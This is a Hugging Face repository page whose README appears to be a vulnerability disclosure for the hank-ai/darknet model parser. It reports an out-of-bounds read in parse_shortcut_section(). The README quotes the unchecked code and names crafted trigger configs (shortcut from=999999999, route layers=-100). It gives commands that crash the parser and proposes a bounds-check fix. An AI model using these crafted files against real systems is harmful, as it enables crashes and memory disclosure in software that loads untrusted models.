Downloads · 30 days
0
ericblackgachara/darknet-oob-poc
darknet-oob-poc is a machine learning model from ericblackgachara. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Downloads · 30 days
0
Access
Public
Updated May 30, 2026
Repo size
174 KB
Likes
0
Public
Click a slice to open those files.
.pdf174 KB · 98%
From the Hugging Face model README
| Field | Value |
|---|---|
| Format | Darknet (.cfg / .weights) |
| Parser | hank-ai/darknet (commit d17e352, 2026-05-20) |
| Platform | huntr.com — Model File Formats program |
| CWE | CWE-125 (Out-of-Bounds Read) |
| CVSS | 7.5 (High) |
parse_shortcut_section() in src-lib/darknet_cfg.cpp (line 1771–1783) adjusts negative from= values relative to the current layer index but performs no lower-bound check and no upper-bound check on the result before indexing net.layers[]:
int index = v[i];
if (index < 0)
index = parms.index + index; // ← adjusted, but never validated
sizes[i] = net.layers[index].outputs; // ← OOB read
layers_output[i] = net.layers[index].output; // ← OOB pointer read
layers_delta[i] = net.layers[index].delta; // ← OOB pointer read
net.layers is allocated for exactly net.n layers (= number of sections in the .cfg). A from=999999999 reads ~45 GB past the allocation; from=-100 with only 1 prior layer resolves to index -99, reading before the array base.
darknet predict evil_shortcut.cfg
→ parse_network_cfg()
→ CfgFile::create_network()
→ parse_shortcut_section() ← from=999999999, no bounds check
→ net.layers[999999999].outputs ← CRASH (OOB read, SIGSEGV / ASAN)
| File | Trigger |
|---|---|
evil_shortcut.cfg | [shortcut] from=999999999 — OOB beyond array end |
evil_route.cfg | [route] layers=-100 — OOB before array start |
git clone https://github.com/hank-ai/darknet
cd darknet && cmake -B build -DDARKNET_TRY_CUDA=OFF && cmake --build build
./build/src-cli/darknet predict evil_shortcut.cfg
# → Segmentation fault / ASAN: heap-buffer-overflow
Add bounds validation after the relative-index adjustment in both parse_shortcut_section() and parse_route_section():
if (index < 0 || index >= (int)parms.index)
{
darknet_fatal_error(DARKNET_LOC,
"layer reference %d is out of range [0, %d)", v[i], (int)parms.index);
}